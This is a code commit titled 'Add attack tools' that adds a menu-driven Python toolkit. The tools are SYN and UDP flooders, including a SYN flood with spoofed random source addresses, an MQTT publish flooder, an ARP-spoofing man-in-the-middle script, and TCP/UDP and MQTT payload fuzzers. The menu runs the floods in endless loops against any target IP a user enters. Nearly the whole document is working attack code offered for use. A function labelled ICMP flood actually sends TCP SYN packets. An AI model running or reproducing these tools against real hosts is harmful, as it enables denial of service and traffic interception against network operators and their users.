이한솔

Add attack tools

No preview for this file type
No preview for this file type
No preview for this file type
No preview for this file type
1 +from scapy.all import IP, TCP, send, RandShort
2 +
3 +def icmp_flood(targetIP, targetPORT):
4 + packet = IP(dst=targetIP) / TCP(
5 + dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()
6 + )
7 +
8 + for i in range(4):
9 + try:
10 + send(packet, verbose=False)
11 + except Exception as e:
12 + print(f"Error while sending 'ICMP'\n{e}")
13 + else:
14 + print(f"ICMP packet send to {targetIP}")
1 +import paho.mqtt.client as mqtt
2 +import random
3 +import multiprocessing
4 +import signal
5 +import string
6 +import sys
7 +import logging
8 +import time
9 +import unittest
10 +
11 +def mqtt_publish_flood(mqtt_server_IP, mqtt_server_PORT, topic):
12 + client = mqtt.Client("AA")
13 + client.connect(mqtt_server_IP, mqtt_server_PORT)
14 + client.loop_start()
15 +
16 + for i in range(10000):
17 + message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50))
18 + client.publish(topic, message, retain=True)
19 + print(f"Sent message {message}")
20 + client.loop_stop()
21 + client.disconnect()
1 +import random
2 +from scapy.all import IP, TCP, send
3 +
4 +def random_IP():
5 + ip = []
6 + for _ in range(0, 4):
7 + ip.append(str(random.randint(1, 255)))
8 + return ".".join(ip)
9 +
10 +def syn_flood(targetIP, targetPORT):
11 + IP_Packet = IP()
12 + IP_Packet.src = random_IP()
13 + IP_Packet.dst = targetIP
14 +
15 + TCP_Packet = TCP()
16 + TCP_Packet.sport = random.randint(1000, 10000)
17 + TCP_Packet.dport = targetPORT
18 + TCP_Packet.flags = "S"
19 + TCP_Packet.seq = random.randint(1000, 10000)
20 + TCP_Packet.window = random.randint(1000, 10000)
21 +
22 + for _ in range(16):
23 + try:
24 + send(IP_Packet / TCP_Packet, verbose=False)
25 + except Exception as e:
26 + print(f"Error while sending SYN packet\n{e}")
27 + else:
28 + print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.")
1 +import random
2 +import socket
3 +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
4 +
5 +
6 +def udp_flood(targetIP, targetPORT):
7 + for _ in range(16):
8 + try:
9 + payload = random._urandom(random.randint(1, 60))
10 + sock.sendto(payload, (targetIP, targetPORT))
11 + except Exception as e:
12 + print(f"Error while sending UDP packet\n{e}")
13 + else:
14 + print(f"UDP random packet sent! Payload size: {len(payload)}. ")
No preview for this file type
1 +from scapy.all import ARP, send, srp, Ether
2 +import time
3 +import sys
4 +import signal
5 +
6 +def originalMAC(ip):
7 + ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
8 + for s,r in ans:
9 + return r[Ether].src
10 +
11 +def poison(routerIP, targetIP, routerMAC, targetMAC):
12 + send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
13 + send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))
14 +
15 +def restore(routerIP, targetIP, routerMAC, targetMAC):
16 + send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
17 + send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
18 +
19 +def arp_spoofing(routerIP, targetIP):
20 + routerMAC = originalMAC(routerIP)
21 + targetMAC = originalMAC(targetIP)
22 +
23 +
24 + def signal_handler(signal, frame):
25 + print("Restoring ARP Tables")
26 + restore(routerIP, targetIP, routerMAC, targetMAC)
27 + restore(routerIP, targetIP, routerMAC, targetMAC)
28 + sys.exit(0)
29 +
30 + signal.signal(signal.SIGINT, signal_handler)
31 +
32 + while 1:
33 + poison(routerIP, targetIP, routerMAC, targetMAC)
1 +import socket
2 +
3 +def fuzzy_attack(method, targetIP, targetPORT):
4 + command = b"XXXX "
5 +
6 + if method == "udp":
7 + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
8 + for x in range(4, 100000, 4):
9 + message = command + b"A" * x
10 + print(f"Sending command {command} with arg length {x}")
11 + sock.sendto(message, (targetIP, targetPORT))
12 + sock.recvfrom(1024)
13 + sock.close()
14 +
15 + elif method == "tcp":
16 + sock = socket.socket()
17 + sock.connect((targetIP, targetPORT))
18 + for x in range(4, 100000, 4):
19 + message = command + b"A" * x
20 + print(f"Sending command {command} with arg length {x}")
21 + sock.sendall(message)
22 + resp = sock.recv(4096)
23 + print("Response Received:", resp)
24 + sock.close()
...\ No newline at end of file ...\ No newline at end of file
1 +import paho.mqtt.client as mqtt
2 +import random
3 +import multiprocessing
4 +import signal
5 +import string
6 +import sys
7 +import logging
8 +import time
9 +import unittest
10 +
11 +def mqtt_ramdom_payload_fuzzy(mqtt_server_IP, mqtt_server_PORT, topic):
12 + client = mqtt.Client("AA")
13 + client.connect(mqtt_server_IP, mqtt_server_PORT)
14 + client.loop_start()
15 +
16 + for i in range(1, 1000, 4):
17 + payload = "".join([chr(random.randint(1, 127)) for _ in range(i)])
18 + print(f"Sent Payload {len(payload)} bytes")
19 + client.publish(topic, payload)
20 + client.loop_stop()
21 + client.disconnect()
1 +from dos.icmp import *
2 +from dos.mqtt import *
3 +from dos.syn import *
4 +from dos.udp import *
5 +from fuzzy_attack.fuzzy_attack import *
6 +from fuzzy_attack.mqtt_random_payload_fuzzy import *
7 +from spoofing.arp import *
8 +
9 +def printDOSMenu():
10 + print("Choose Protocol")
11 + print("1. ICMP Flooding")
12 + print("2. SYN Flooding")
13 + print("3. UDP Flooding")
14 + print("4. MQTT Publish Flooding")
15 + select = input("input: ")
16 + if select == "1":
17 + TargetIP = input("Target IP: ")
18 + TargetPort = int(input("Target Port: "))
19 + while True:
20 + icmp_flood(TargetIP, TargetPort)
21 + elif select == "2":
22 + TargetIP = input("Target IP: ")
23 + TargetPort = int(input("Target Port: "))
24 + while True:
25 + syn_flood(TargetIP, TargetPort)
26 + elif select == "3":
27 + TargetIP = input("Target IP: ")
28 + TargetPort = int(input("Target Port: "))
29 + while True:
30 + udp_flood(TargetIP, TargetPort)
31 + elif select == "4":
32 + Target_Mqtt_IP = input("Target MQTT Server IP: ")
33 + Target_Mqtt_Port = int(input ("Target MQTT Server Port: "))
34 + Target_Topic = input("Target Topic: ")
35 + while True:
36 + mqtt_publish_flood(Target_Mqtt_IP, Target_Mqtt_Port, Target_Topic)
37 +
38 +def printSpoofingMenu():
39 + print("Choose Method")
40 + print("1. ARP Spoofing")
41 + select = input("input:")
42 + if select == "1":
43 + routerIP = input("Router IP : ")
44 + targetIP = input("Target IP : ")
45 + arp_spoofing(routerIP, targetIP)
46 +
47 +def printFuzzyAttackMenu():
48 + print("Choose Method")
49 + print("1. TCP/UDP Fuzzy Attack")
50 + print("2. MQTT Random Payload Fuzzy Attack")
51 + select = input("input: ")
52 + if select == "1":
53 + method = input("input Protocol (udp/tcp) : ")
54 + TargetIP = input("Target IP: ")
55 + TargetPort = int(input("Target Port: "))
56 + fuzzy_attack(method, TargetIP, TargetPort)
57 + elif select == "2":
58 + Target_Mqtt_IP = input("Target MQTT Server IP: ")
59 + Target_Mqtt_Port = int(input ("Target MQTT Server Port: "))
60 + Target_Topic = input("Target Topic: ")
61 + mqtt_ramdom_payload_fuzzy(Target_Mqtt_IP, Target_Mqtt_Port, Target_Topic)
62 +
63 +
64 +def printMainMenu():
65 + print("Choose Method:")
66 + print("1. DOS")
67 + print("2. SPOOFING")
68 + print("3. FUZZY_ATTACK")
69 +
70 + select = input("input: ")
71 +
72 + if select=="1":
73 + printDOSMenu()
74 + elif select == "2":
75 + printSpoofingMenu()
76 + elif select == "3":
77 + printFuzzyAttackMenu()
78 +
79 +
80 +
81 +printMainMenu()
...\ No newline at end of file ...\ No newline at end of file